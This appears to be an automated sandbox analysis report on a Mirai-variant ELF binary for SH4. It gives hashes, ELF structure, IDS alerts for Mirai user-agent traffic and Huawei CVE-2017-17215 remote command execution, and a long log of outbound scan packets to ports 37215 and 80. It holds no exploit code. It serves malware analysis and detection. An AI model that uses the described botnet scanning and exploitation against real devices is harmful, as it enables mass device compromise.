TTNETTR	mips.elf	Get hash	malicious	Mirai	Browse	62.248.41.14
	m68k.elf	Get hash	malicious	Mirai	Browse	85.108.147.34
	x86.elf	Get hash	malicious	Mirai	Browse	88.238.249.190
	res.mips.elf	Get hash	malicious	Unknown	Browse	88.250.158.92
	res.arm.elf	Get hash	malicious	Unknown	Browse	78.173.142.247
	res.sh4.elf	Get hash	malicious	Unknown	Browse	88.234.106.69
	kre4per.arm.elf	Get hash	malicious	Unknown	Browse	78.177.213.150
	res.arm5.elf	Get hash	malicious	Unknown	Browse	85.100.28.141
	res.mpsl.elf	Get hash	malicious	Unknown	Browse	85.100.28.114
	armv4l.elf	Get hash	malicious	Unknown	Browse	88.241.120.38

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.814610443679796
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	70'748 bytes
MD5:	4b33d81228b1c4713abe202a73d250e5
SHA1:	2dc79c21478928aa098fc8484e62d7614e825bef
SHA256:	6b0be91e8e0ebb89d26285735f6833c3303189a558074afd0652107220910784
SHA512:	cc3e96b93eee1c5b63c4f15841563f9d165049e12658c1223c638840688ecc675e6981c4e59f2e46ad938d804f6cc6a1421a7d1f748103ccbaaf2666779644d6
SSDEEP:	1536:faolp1q20AbDwt2VWYoFMpZ/NcloWIM8/j9C1z:fx1q20A3ro29WIH/j9
TLSH:	65639E26E0169DB0C04A4A34A0E9CE380F23BD8596531EB69EC545F65847DFCF618FFA
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@.`...`...............d...d.B.d.B.(...D...........Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	70348
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xf5a0	0x0	0x6	AX	32
.fini	PROGBITS	0x40f680	0xf680	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40f6a4	0xf6a4	0x19bc	0x0	0x2	A	4
.ctors	PROGBITS	0x421064	0x11064	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x42106c	0x1106c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x421078	0x11078	0x214	0x0	0x3	WA	4
.bss	NOBITS	0x42128c	0x1128c	0x31c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1128c	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x11060	0x11060	6.8474	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x11064	0x421064	0x421064	0x228	0x544	3.0240	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-19T19:48:56.902626+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	59352	88.34.237.117	80	TCP
2025-02-19T19:48:58.281907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38112	157.230.45.210	37215	TCP
2025-02-19T19:49:02.616386+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56082	88.43.2.185	80	TCP
2025-02-19T19:49:02.620428+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	50996	88.189.81.227	80	TCP
2025-02-19T19:49:02.652385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57224	157.44.119.96	37215	TCP
2025-02-19T19:49:02.652385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37182	157.206.91.53	37215	TCP
2025-02-19T19:49:02.652388+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53714	157.96.104.228	37215	TCP
2025-02-19T19:49:02.652390+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46312	157.217.20.220	37215	TCP
2025-02-19T19:49:02.652397+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48516	157.223.96.78	37215	TCP
2025-02-19T19:49:02.652401+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47812	197.66.19.63	37215	TCP
2025-02-19T19:49:02.652416+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48536	157.239.141.134	37215	TCP
2025-02-19T19:49:04.029937+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	53902	88.195.148.31	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 19:48:54.935623884 CET	6405	37215	192.168.2.15	157.188.30.224
Feb 19, 2025 19:48:54.935676098 CET	6405	37215	192.168.2.15	157.46.200.224
Feb 19, 2025 19:48:54.935686111 CET	6405	37215	192.168.2.15	157.41.177.195
Feb 19, 2025 19:48:54.935709953 CET	6405	37215	192.168.2.15	157.54.14.224
Feb 19, 2025 19:48:54.935735941 CET	6405	37215	192.168.2.15	157.205.41.156
Feb 19, 2025 19:48:54.935754061 CET	6405	37215	192.168.2.15	157.230.45.210
Feb 19, 2025 19:48:54.935796022 CET	6405	37215	192.168.2.15	157.104.59.86
Feb 19, 2025 19:48:54.935843945 CET	6405	37215	192.168.2.15	157.109.54.98
Feb 19, 2025 19:48:54.935857058 CET	6405	37215	192.168.2.15	157.18.199.7
Feb 19, 2025 19:48:54.935878038 CET	6405	37215	192.168.2.15	157.147.174.213
Feb 19, 2025 19:48:54.935898066 CET	6405	37215	192.168.2.15	157.45.244.195
Feb 19, 2025 19:48:54.935935974 CET	6405	37215	192.168.2.15	157.89.243.93
Feb 19, 2025 19:48:54.935940981 CET	6405	37215	192.168.2.15	157.97.83.17
Feb 19, 2025 19:48:54.935961962 CET	6405	37215	192.168.2.15	157.75.239.239
Feb 19, 2025 19:48:54.935986042 CET	6405	37215	192.168.2.15	157.124.121.54
Feb 19, 2025 19:48:54.936002016 CET	6405	37215	192.168.2.15	157.7.91.6
Feb 19, 2025 19:48:54.936044931 CET	6405	37215	192.168.2.15	157.12.102.34
Feb 19, 2025 19:48:54.936089993 CET	6405	37215	192.168.2.15	157.7.253.112
Feb 19, 2025 19:48:54.936110020 CET	6405	37215	192.168.2.15	157.227.55.64
Feb 19, 2025 19:48:54.936126947 CET	6405	37215	192.168.2.15	157.101.163.217
Feb 19, 2025 19:48:54.936147928 CET	6405	37215	192.168.2.15	157.65.82.221
Feb 19, 2025 19:48:54.936168909 CET	6405	37215	192.168.2.15	157.75.232.177
Feb 19, 2025 19:48:54.936194897 CET	6405	37215	192.168.2.15	157.170.4.234
Feb 19, 2025 19:48:54.936203957 CET	6405	37215	192.168.2.15	157.173.0.78
Feb 19, 2025 19:48:54.936228991 CET	6405	37215	192.168.2.15	157.252.141.128
Feb 19, 2025 19:48:54.936235905 CET	6405	37215	192.168.2.15	157.22.69.66
Feb 19, 2025 19:48:54.936259031 CET	6405	37215	192.168.2.15	157.157.116.80
Feb 19, 2025 19:48:54.936280012 CET	6405	37215	192.168.2.15	157.97.230.53
Feb 19, 2025 19:48:54.936300993 CET	6405	37215	192.168.2.15	157.97.175.235
Feb 19, 2025 19:48:54.936321974 CET	6405	37215	192.168.2.15	157.187.34.78
Feb 19, 2025 19:48:54.936347008 CET	6405	37215	192.168.2.15	157.222.109.202
Feb 19, 2025 19:48:54.936381102 CET	6405	37215	192.168.2.15	157.170.132.158
Feb 19, 2025 19:48:54.936409950 CET	6405	37215	192.168.2.15	157.255.175.63
Feb 19, 2025 19:48:54.936433077 CET	6405	37215	192.168.2.15	157.153.238.208
Feb 19, 2025 19:48:54.936466932 CET	6405	37215	192.168.2.15	157.108.38.231
Feb 19, 2025 19:48:54.936486006 CET	6405	37215	192.168.2.15	157.255.21.232
Feb 19, 2025 19:48:54.936506033 CET	6405	37215	192.168.2.15	157.117.159.25
Feb 19, 2025 19:48:54.936522961 CET	6405	37215	192.168.2.15	157.167.92.184
Feb 19, 2025 19:48:54.936534882 CET	6405	37215	192.168.2.15	157.250.149.227
Feb 19, 2025 19:48:54.936558008 CET	6405	37215	192.168.2.15	157.39.0.231
Feb 19, 2025 19:48:54.936573029 CET	6405	37215	192.168.2.15	157.98.143.135
Feb 19, 2025 19:48:54.936600924 CET	6405	37215	192.168.2.15	157.6.66.52
Feb 19, 2025 19:48:54.936619997 CET	6405	37215	192.168.2.15	157.213.190.50
Feb 19, 2025 19:48:54.936640978 CET	6405	37215	192.168.2.15	157.145.29.54
Feb 19, 2025 19:48:54.936729908 CET	6405	37215	192.168.2.15	157.46.139.112
Feb 19, 2025 19:48:54.936750889 CET	6405	37215	192.168.2.15	157.10.166.48
Feb 19, 2025 19:48:54.936770916 CET	6405	37215	192.168.2.15	157.178.69.163
Feb 19, 2025 19:48:54.936799049 CET	6405	37215	192.168.2.15	157.130.32.160
Feb 19, 2025 19:48:54.936820984 CET	6405	37215	192.168.2.15	157.144.127.188
Feb 19, 2025 19:48:54.936846972 CET	6405	37215	192.168.2.15	157.225.104.229
Feb 19, 2025 19:48:54.936868906 CET	6405	37215	192.168.2.15	157.199.61.228
Feb 19, 2025 19:48:54.936886072 CET	6405	37215	192.168.2.15	157.32.74.46
Feb 19, 2025 19:48:54.936908007 CET	6405	37215	192.168.2.15	157.141.217.54
Feb 19, 2025 19:48:54.936928988 CET	6405	37215	192.168.2.15	157.196.110.129
Feb 19, 2025 19:48:54.936955929 CET	6405	37215	192.168.2.15	157.32.13.248
Feb 19, 2025 19:48:54.936973095 CET	6405	37215	192.168.2.15	157.63.241.148
Feb 19, 2025 19:48:54.937016964 CET	6405	37215	192.168.2.15	157.92.247.21
Feb 19, 2025 19:48:54.937176943 CET	6405	37215	192.168.2.15	157.83.215.141
Feb 19, 2025 19:48:54.937215090 CET	6405	37215	192.168.2.15	157.124.214.237
Feb 19, 2025 19:48:54.937299013 CET	6405	37215	192.168.2.15	157.112.95.101
Feb 19, 2025 19:48:54.937314987 CET	6405	37215	192.168.2.15	157.60.210.41
Feb 19, 2025 19:48:54.937385082 CET	6405	37215	192.168.2.15	157.0.253.209
Feb 19, 2025 19:48:54.937436104 CET	6405	37215	192.168.2.15	157.6.115.82
Feb 19, 2025 19:48:54.937485933 CET	6405	37215	192.168.2.15	157.22.137.177
Feb 19, 2025 19:48:54.937506914 CET	6405	37215	192.168.2.15	157.35.49.229
Feb 19, 2025 19:48:54.937561989 CET	6405	37215	192.168.2.15	157.111.6.45
Feb 19, 2025 19:48:54.937609911 CET	6405	37215	192.168.2.15	157.205.32.38
Feb 19, 2025 19:48:54.937633038 CET	6405	37215	192.168.2.15	157.235.10.181
Feb 19, 2025 19:48:54.937648058 CET	6405	37215	192.168.2.15	157.238.186.254
Feb 19, 2025 19:48:54.937664986 CET	6405	37215	192.168.2.15	157.188.164.249
Feb 19, 2025 19:48:54.937685966 CET	6405	37215	192.168.2.15	157.62.24.168
Feb 19, 2025 19:48:54.937724113 CET	6405	37215	192.168.2.15	157.92.110.238
Feb 19, 2025 19:48:54.937741041 CET	6405	37215	192.168.2.15	157.179.96.212
Feb 19, 2025 19:48:54.937762022 CET	6405	37215	192.168.2.15	157.228.176.146
Feb 19, 2025 19:48:54.937778950 CET	6405	37215	192.168.2.15	157.51.255.55
Feb 19, 2025 19:48:54.937798977 CET	6405	37215	192.168.2.15	157.11.59.27
Feb 19, 2025 19:48:54.937818050 CET	6405	37215	192.168.2.15	157.132.178.136
Feb 19, 2025 19:48:54.937838078 CET	6405	37215	192.168.2.15	157.107.96.135
Feb 19, 2025 19:48:54.937855005 CET	6405	37215	192.168.2.15	157.201.234.32
Feb 19, 2025 19:48:54.937871933 CET	6405	37215	192.168.2.15	157.183.78.202
Feb 19, 2025 19:48:54.937891960 CET	6405	37215	192.168.2.15	157.209.164.148
Feb 19, 2025 19:48:54.937925100 CET	6405	37215	192.168.2.15	157.121.107.218
Feb 19, 2025 19:48:54.937967062 CET	6405	37215	192.168.2.15	157.65.86.28
Feb 19, 2025 19:48:54.938004017 CET	6405	37215	192.168.2.15	157.6.106.18
Feb 19, 2025 19:48:54.938049078 CET	6405	37215	192.168.2.15	157.59.87.196
Feb 19, 2025 19:48:54.938066006 CET	6405	37215	192.168.2.15	157.168.127.79
Feb 19, 2025 19:48:54.938086987 CET	6405	37215	192.168.2.15	157.223.98.64
Feb 19, 2025 19:48:54.938103914 CET	6405	37215	192.168.2.15	157.1.87.224
Feb 19, 2025 19:48:54.938128948 CET	6405	37215	192.168.2.15	157.172.209.39
Feb 19, 2025 19:48:54.938142061 CET	6405	37215	192.168.2.15	157.234.173.200
Feb 19, 2025 19:48:54.938163996 CET	6405	37215	192.168.2.15	157.217.202.228
Feb 19, 2025 19:48:54.938184023 CET	6405	37215	192.168.2.15	157.93.79.145
Feb 19, 2025 19:48:54.938201904 CET	6405	37215	192.168.2.15	157.78.133.244
Feb 19, 2025 19:48:54.938222885 CET	6405	37215	192.168.2.15	157.192.33.156
Feb 19, 2025 19:48:54.938267946 CET	6405	37215	192.168.2.15	157.177.168.193
Feb 19, 2025 19:48:54.938290119 CET	6405	37215	192.168.2.15	157.123.45.107
Feb 19, 2025 19:48:54.938323021 CET	6405	37215	192.168.2.15	157.187.46.226
Feb 19, 2025 19:48:54.938338995 CET	6405	37215	192.168.2.15	157.89.8.90
Feb 19, 2025 19:48:54.938359976 CET	6405	37215	192.168.2.15	157.189.64.227
Feb 19, 2025 19:48:54.938397884 CET	6405	37215	192.168.2.15	157.103.213.37
Feb 19, 2025 19:48:54.938414097 CET	6405	37215	192.168.2.15	157.243.240.229
Feb 19, 2025 19:48:54.938435078 CET	6405	37215	192.168.2.15	157.181.198.107
Feb 19, 2025 19:48:54.938456059 CET	6405	37215	192.168.2.15	157.18.208.108
Feb 19, 2025 19:48:54.938476086 CET	6405	37215	192.168.2.15	157.198.215.232
Feb 19, 2025 19:48:54.938503981 CET	6405	37215	192.168.2.15	157.215.250.213
Feb 19, 2025 19:48:54.938529015 CET	6405	37215	192.168.2.15	157.189.183.186
Feb 19, 2025 19:48:54.938545942 CET	6405	37215	192.168.2.15	157.55.125.139
Feb 19, 2025 19:48:54.938563108 CET	6405	37215	192.168.2.15	157.208.78.80
Feb 19, 2025 19:48:54.938584089 CET	6405	37215	192.168.2.15	157.69.44.30
Feb 19, 2025 19:48:54.938604116 CET	6405	37215	192.168.2.15	157.97.246.236
Feb 19, 2025 19:48:54.938626051 CET	6405	37215	192.168.2.15	157.235.33.184
Feb 19, 2025 19:48:54.938649893 CET	6405	37215	192.168.2.15	157.189.83.196
Feb 19, 2025 19:48:54.938663960 CET	6405	37215	192.168.2.15	157.41.219.112
Feb 19, 2025 19:48:54.938680887 CET	6405	37215	192.168.2.15	157.134.9.56
Feb 19, 2025 19:48:54.938705921 CET	6405	37215	192.168.2.15	157.79.103.231
Feb 19, 2025 19:48:54.938726902 CET	6405	37215	192.168.2.15	157.28.71.143
Feb 19, 2025 19:48:54.938746929 CET	6405	37215	192.168.2.15	157.203.220.61
Feb 19, 2025 19:48:54.938764095 CET	6405	37215	192.168.2.15	157.74.67.67
Feb 19, 2025 19:48:54.938786983 CET	7685	80	192.168.2.15	88.140.138.215
Feb 19, 2025 19:48:54.938805103 CET	6405	37215	192.168.2.15	157.216.236.144
Feb 19, 2025 19:48:54.938828945 CET	6405	37215	192.168.2.15	157.246.226.168
Feb 19, 2025 19:48:54.938843966 CET	6405	37215	192.168.2.15	157.54.105.151
Feb 19, 2025 19:48:54.938846111 CET	7685	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:54.938864946 CET	7685	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:54.938868999 CET	6405	37215	192.168.2.15	157.203.147.185
Feb 19, 2025 19:48:54.938884974 CET	7685	80	192.168.2.15	88.32.226.221
Feb 19, 2025 19:48:54.938886881 CET	6405	37215	192.168.2.15	157.113.175.168
Feb 19, 2025 19:48:54.938905001 CET	6405	37215	192.168.2.15	157.207.49.122
Feb 19, 2025 19:48:54.938906908 CET	7685	80	192.168.2.15	88.95.211.113
Feb 19, 2025 19:48:54.938918114 CET	7685	80	192.168.2.15	88.6.209.151
Feb 19, 2025 19:48:54.938944101 CET	6405	37215	192.168.2.15	157.2.40.204
Feb 19, 2025 19:48:54.938952923 CET	7685	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:54.938966990 CET	6405	37215	192.168.2.15	157.54.64.170
Feb 19, 2025 19:48:54.938982010 CET	7685	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:54.938983917 CET	6405	37215	192.168.2.15	157.243.171.191
Feb 19, 2025 19:48:54.938993931 CET	6405	37215	192.168.2.15	157.111.118.236
Feb 19, 2025 19:48:54.939007044 CET	7685	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:54.939013004 CET	6405	37215	192.168.2.15	157.58.12.238
Feb 19, 2025 19:48:54.939027071 CET	7685	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:54.939044952 CET	7685	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:54.939048052 CET	6405	37215	192.168.2.15	157.235.96.122
Feb 19, 2025 19:48:54.939073086 CET	7685	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:54.939074039 CET	6405	37215	192.168.2.15	157.206.193.33
Feb 19, 2025 19:48:54.939085960 CET	7685	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:54.939088106 CET	6405	37215	192.168.2.15	157.88.204.82
Feb 19, 2025 19:48:54.939102888 CET	7685	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:54.939109087 CET	6405	37215	192.168.2.15	157.163.156.8
Feb 19, 2025 19:48:54.939121962 CET	7685	80	192.168.2.15	88.34.29.247
Feb 19, 2025 19:48:54.939137936 CET	7685	80	192.168.2.15	88.192.221.252
Feb 19, 2025 19:48:54.939138889 CET	6405	37215	192.168.2.15	157.113.58.118
Feb 19, 2025 19:48:54.939152956 CET	7685	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:54.939155102 CET	6405	37215	192.168.2.15	157.14.161.159
Feb 19, 2025 19:48:54.939168930 CET	6405	37215	192.168.2.15	157.106.43.99
Feb 19, 2025 19:48:54.939182997 CET	7685	80	192.168.2.15	88.121.203.246
Feb 19, 2025 19:48:54.939182997 CET	6405	37215	192.168.2.15	157.149.169.225
Feb 19, 2025 19:48:54.939197063 CET	6405	37215	192.168.2.15	157.33.248.235
Feb 19, 2025 19:48:54.939210892 CET	6405	37215	192.168.2.15	157.130.81.105
Feb 19, 2025 19:48:54.939228058 CET	7685	80	192.168.2.15	88.126.104.108
Feb 19, 2025 19:48:54.939232111 CET	6405	37215	192.168.2.15	157.110.170.92
Feb 19, 2025 19:48:54.939249992 CET	7685	80	192.168.2.15	88.185.135.29
Feb 19, 2025 19:48:54.939249992 CET	6405	37215	192.168.2.15	157.87.175.185
Feb 19, 2025 19:48:54.939268112 CET	6405	37215	192.168.2.15	157.253.182.115
Feb 19, 2025 19:48:54.939269066 CET	7685	80	192.168.2.15	88.66.115.164
Feb 19, 2025 19:48:54.939280987 CET	7685	80	192.168.2.15	88.60.160.90
Feb 19, 2025 19:48:54.939299107 CET	7685	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:54.939300060 CET	6405	37215	192.168.2.15	157.237.17.148
Feb 19, 2025 19:48:54.939306021 CET	7685	80	192.168.2.15	88.155.0.182
Feb 19, 2025 19:48:54.939325094 CET	6405	37215	192.168.2.15	157.105.249.31
Feb 19, 2025 19:48:54.939332962 CET	6405	37215	192.168.2.15	157.193.153.106
Feb 19, 2025 19:48:54.939332962 CET	7685	80	192.168.2.15	88.0.166.77
Feb 19, 2025 19:48:54.939348936 CET	6405	37215	192.168.2.15	157.174.86.98
Feb 19, 2025 19:48:54.939364910 CET	7685	80	192.168.2.15	88.71.125.8
Feb 19, 2025 19:48:54.939379930 CET	7685	80	192.168.2.15	88.106.102.198
Feb 19, 2025 19:48:54.939383030 CET	6405	37215	192.168.2.15	157.189.199.140
Feb 19, 2025 19:48:54.939399004 CET	7685	80	192.168.2.15	88.18.199.2
Feb 19, 2025 19:48:54.939412117 CET	7685	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:54.939415932 CET	6405	37215	192.168.2.15	157.45.242.80
Feb 19, 2025 19:48:54.939435959 CET	7685	80	192.168.2.15	88.108.239.116
Feb 19, 2025 19:48:54.939436913 CET	6405	37215	192.168.2.15	157.168.210.50
Feb 19, 2025 19:48:54.939451933 CET	7685	80	192.168.2.15	88.120.189.157
Feb 19, 2025 19:48:54.939451933 CET	6405	37215	192.168.2.15	157.136.158.162
Feb 19, 2025 19:48:54.939469099 CET	6405	37215	192.168.2.15	157.169.173.165
Feb 19, 2025 19:48:54.939482927 CET	7685	80	192.168.2.15	88.60.236.92
Feb 19, 2025 19:48:54.939486027 CET	6405	37215	192.168.2.15	157.29.48.150
Feb 19, 2025 19:48:54.939501047 CET	7685	80	192.168.2.15	88.87.53.75
Feb 19, 2025 19:48:54.939505100 CET	6405	37215	192.168.2.15	157.48.220.173
Feb 19, 2025 19:48:54.939523935 CET	6405	37215	192.168.2.15	157.108.244.175
Feb 19, 2025 19:48:54.939527035 CET	7685	80	192.168.2.15	88.214.133.194
Feb 19, 2025 19:48:54.939544916 CET	6405	37215	192.168.2.15	157.134.123.47
Feb 19, 2025 19:48:54.939558983 CET	7685	80	192.168.2.15	88.55.210.147
Feb 19, 2025 19:48:54.939562082 CET	6405	37215	192.168.2.15	157.219.4.66
Feb 19, 2025 19:48:54.939582109 CET	7685	80	192.168.2.15	88.19.215.209
Feb 19, 2025 19:48:54.939584970 CET	6405	37215	192.168.2.15	157.79.89.132
Feb 19, 2025 19:48:54.939604998 CET	7685	80	192.168.2.15	88.81.211.187
Feb 19, 2025 19:48:54.939606905 CET	6405	37215	192.168.2.15	157.114.7.123
Feb 19, 2025 19:48:54.939618111 CET	7685	80	192.168.2.15	88.15.195.210
Feb 19, 2025 19:48:54.939621925 CET	6405	37215	192.168.2.15	157.213.17.86
Feb 19, 2025 19:48:54.939637899 CET	7685	80	192.168.2.15	88.87.127.11
Feb 19, 2025 19:48:54.939640999 CET	6405	37215	192.168.2.15	157.26.172.220
Feb 19, 2025 19:48:54.939666033 CET	7685	80	192.168.2.15	88.224.208.172
Feb 19, 2025 19:48:54.939682007 CET	7685	80	192.168.2.15	88.139.67.34
Feb 19, 2025 19:48:54.939703941 CET	7685	80	192.168.2.15	88.98.136.100
Feb 19, 2025 19:48:54.939718962 CET	7685	80	192.168.2.15	88.208.52.205
Feb 19, 2025 19:48:54.939733982 CET	7685	80	192.168.2.15	88.132.163.188
Feb 19, 2025 19:48:54.939752102 CET	7685	80	192.168.2.15	88.61.84.202
Feb 19, 2025 19:48:54.939769030 CET	7685	80	192.168.2.15	88.40.187.30
Feb 19, 2025 19:48:54.939784050 CET	7685	80	192.168.2.15	88.31.179.134
Feb 19, 2025 19:48:54.939796925 CET	7685	80	192.168.2.15	88.62.42.25
Feb 19, 2025 19:48:54.939822912 CET	7685	80	192.168.2.15	88.40.14.230
Feb 19, 2025 19:48:54.939829111 CET	7685	80	192.168.2.15	88.234.84.235
Feb 19, 2025 19:48:54.939847946 CET	7685	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:54.939862967 CET	7685	80	192.168.2.15	88.202.98.128
Feb 19, 2025 19:48:54.939876080 CET	7685	80	192.168.2.15	88.221.52.195
Feb 19, 2025 19:48:54.939899921 CET	7685	80	192.168.2.15	88.58.37.176
Feb 19, 2025 19:48:54.939919949 CET	7685	80	192.168.2.15	88.108.227.193
Feb 19, 2025 19:48:54.939932108 CET	7685	80	192.168.2.15	88.233.218.212
Feb 19, 2025 19:48:54.939954042 CET	7685	80	192.168.2.15	88.137.129.16
Feb 19, 2025 19:48:54.939971924 CET	7685	80	192.168.2.15	88.121.38.254
Feb 19, 2025 19:48:54.939989090 CET	7685	80	192.168.2.15	88.234.91.223
Feb 19, 2025 19:48:54.940021038 CET	7685	80	192.168.2.15	88.113.196.193
Feb 19, 2025 19:48:54.940021992 CET	7685	80	192.168.2.15	88.221.224.71
Feb 19, 2025 19:48:54.940042019 CET	7685	80	192.168.2.15	88.237.48.175
Feb 19, 2025 19:48:54.940054893 CET	7685	80	192.168.2.15	88.204.163.71
Feb 19, 2025 19:48:54.940073967 CET	7685	80	192.168.2.15	88.253.91.74
Feb 19, 2025 19:48:54.940095901 CET	7685	80	192.168.2.15	88.179.141.180
Feb 19, 2025 19:48:54.940143108 CET	7685	80	192.168.2.15	88.223.221.54
Feb 19, 2025 19:48:54.940155029 CET	7685	80	192.168.2.15	88.189.29.188
Feb 19, 2025 19:48:54.940186024 CET	7685	80	192.168.2.15	88.3.136.18
Feb 19, 2025 19:48:54.940200090 CET	7685	80	192.168.2.15	88.176.126.224
Feb 19, 2025 19:48:54.940701962 CET	37215	6405	157.188.30.224	192.168.2.15
Feb 19, 2025 19:48:54.940746069 CET	6405	37215	192.168.2.15	157.188.30.224
Feb 19, 2025 19:48:54.940864086 CET	7685	80	192.168.2.15	88.123.145.21
Feb 19, 2025 19:48:54.940881968 CET	7685	80	192.168.2.15	88.48.100.245
Feb 19, 2025 19:48:54.940898895 CET	7685	80	192.168.2.15	88.194.34.47
Feb 19, 2025 19:48:54.940924883 CET	7685	80	192.168.2.15	88.208.83.69
Feb 19, 2025 19:48:54.940937042 CET	7685	80	192.168.2.15	88.57.193.113
Feb 19, 2025 19:48:54.940948009 CET	7685	80	192.168.2.15	88.57.83.20
Feb 19, 2025 19:48:54.940979004 CET	7685	80	192.168.2.15	88.202.176.102
Feb 19, 2025 19:48:54.940992117 CET	7685	80	192.168.2.15	88.213.50.251
Feb 19, 2025 19:48:54.941013098 CET	7685	80	192.168.2.15	88.35.173.43
Feb 19, 2025 19:48:54.941031933 CET	7685	80	192.168.2.15	88.63.100.48
Feb 19, 2025 19:48:54.941051960 CET	7685	80	192.168.2.15	88.82.88.254
Feb 19, 2025 19:48:54.941097975 CET	7685	80	192.168.2.15	88.247.27.60
Feb 19, 2025 19:48:54.941109896 CET	7685	80	192.168.2.15	88.15.159.233
Feb 19, 2025 19:48:54.941129923 CET	37215	6405	157.41.177.195	192.168.2.15
Feb 19, 2025 19:48:54.941135883 CET	7685	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:54.941159964 CET	6405	37215	192.168.2.15	157.41.177.195
Feb 19, 2025 19:48:54.941170931 CET	37215	6405	157.46.200.224	192.168.2.15
Feb 19, 2025 19:48:54.941178083 CET	7685	80	192.168.2.15	88.158.19.156
Feb 19, 2025 19:48:54.941184044 CET	37215	6405	157.54.14.224	192.168.2.15
Feb 19, 2025 19:48:54.941199064 CET	7685	80	192.168.2.15	88.90.35.245
Feb 19, 2025 19:48:54.941201925 CET	6405	37215	192.168.2.15	157.46.200.224
Feb 19, 2025 19:48:54.941221952 CET	7685	80	192.168.2.15	88.139.121.73
Feb 19, 2025 19:48:54.941225052 CET	6405	37215	192.168.2.15	157.54.14.224
Feb 19, 2025 19:48:54.941241026 CET	7685	80	192.168.2.15	88.91.168.14
Feb 19, 2025 19:48:54.941277027 CET	7685	80	192.168.2.15	88.0.53.7
Feb 19, 2025 19:48:54.941287041 CET	7685	80	192.168.2.15	88.72.8.47
Feb 19, 2025 19:48:54.941304922 CET	37215	6405	157.205.41.156	192.168.2.15
Feb 19, 2025 19:48:54.941315889 CET	37215	6405	157.230.45.210	192.168.2.15
Feb 19, 2025 19:48:54.941315889 CET	7685	80	192.168.2.15	88.101.26.163
Feb 19, 2025 19:48:54.941327095 CET	37215	6405	157.104.59.86	192.168.2.15
Feb 19, 2025 19:48:54.941332102 CET	6405	37215	192.168.2.15	157.205.41.156
Feb 19, 2025 19:48:54.941339016 CET	37215	6405	157.109.54.98	192.168.2.15
Feb 19, 2025 19:48:54.941343069 CET	6405	37215	192.168.2.15	157.230.45.210
Feb 19, 2025 19:48:54.941350937 CET	37215	6405	157.18.199.7	192.168.2.15
Feb 19, 2025 19:48:54.941354990 CET	6405	37215	192.168.2.15	157.104.59.86
Feb 19, 2025 19:48:54.941360950 CET	37215	6405	157.147.174.213	192.168.2.15
Feb 19, 2025 19:48:54.941370010 CET	6405	37215	192.168.2.15	157.109.54.98
Feb 19, 2025 19:48:54.941370964 CET	37215	6405	157.45.244.195	192.168.2.15
Feb 19, 2025 19:48:54.941375971 CET	6405	37215	192.168.2.15	157.18.199.7
